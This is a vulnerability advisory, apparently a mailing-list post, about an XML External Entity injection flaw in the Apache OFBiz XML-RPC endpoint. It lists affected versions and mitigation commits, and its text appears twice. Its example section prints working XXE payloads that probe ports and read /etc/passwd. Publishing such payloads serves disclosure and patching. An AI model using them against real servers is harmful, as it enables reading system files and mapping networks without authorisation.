Taher Alkhateeb
2018-10-05 12:52:23 UTC
Severity:
Important
Vendor:
The Apache Software Foundation
Versions Affected:
OFBiz 16.11.01 to 16.11.04
Description:
The OFBiz XML-RPC event handler
(org.apache.ofbiz.webapp.event.XmlRpcEventHandler.java)
acts as a wrapper for any OFBiz service that provides XML-RPC web
services via
the /webtools/control/xmlrpc endpoint. This endpoint is exposed to External
Entity Injection by passing DOCTYPE declarations with executable
payloads that
discloses the contents of files in the filesystem. In addition, it can
also be
used to probe for open network ports, and figure out from returned error
messages whether a file exists or not.
Mitigation:
Upgrade to 16.11.05
or manually apply the following commits on branch 16
r1833724
r1833708
r1836141
Example:
# Payload to find an exposed port
<?xml version="1.0"?>
<!DOCTYPE x SYSTEM "http://localhost:8080">
<methodCall>
<methodName>ping</methodName>
</methodCall>
# Payload to display file contents
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY disclose SYSTEM "file:///etc/passwd">
]>
<methodCall>
<methodName>&disclose;</methodName>
</methodCall>
Credit:
James Parfet <jamesp at mindpointgroup.com>
References:
http://ofbiz.apache.org/download.html#vulnerabilities
Important
Vendor:
The Apache Software Foundation
Versions Affected:
OFBiz 16.11.01 to 16.11.04
Description:
The OFBiz XML-RPC event handler
(org.apache.ofbiz.webapp.event.XmlRpcEventHandler.java)
acts as a wrapper for any OFBiz service that provides XML-RPC web
services via
the /webtools/control/xmlrpc endpoint. This endpoint is exposed to External
Entity Injection by passing DOCTYPE declarations with executable
payloads that
discloses the contents of files in the filesystem. In addition, it can
also be
used to probe for open network ports, and figure out from returned error
messages whether a file exists or not.
Mitigation:
Upgrade to 16.11.05
or manually apply the following commits on branch 16
r1833724
r1833708
r1836141
Example:
# Payload to find an exposed port
<?xml version="1.0"?>
<!DOCTYPE x SYSTEM "http://localhost:8080">
<methodCall>
<methodName>ping</methodName>
</methodCall>
# Payload to display file contents
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY disclose SYSTEM "file:///etc/passwd">
]>
<methodCall>
<methodName>&disclose;</methodName>
</methodCall>
Credit:
James Parfet <jamesp at mindpointgroup.com>
References:
http://ofbiz.apache.org/download.html#vulnerabilities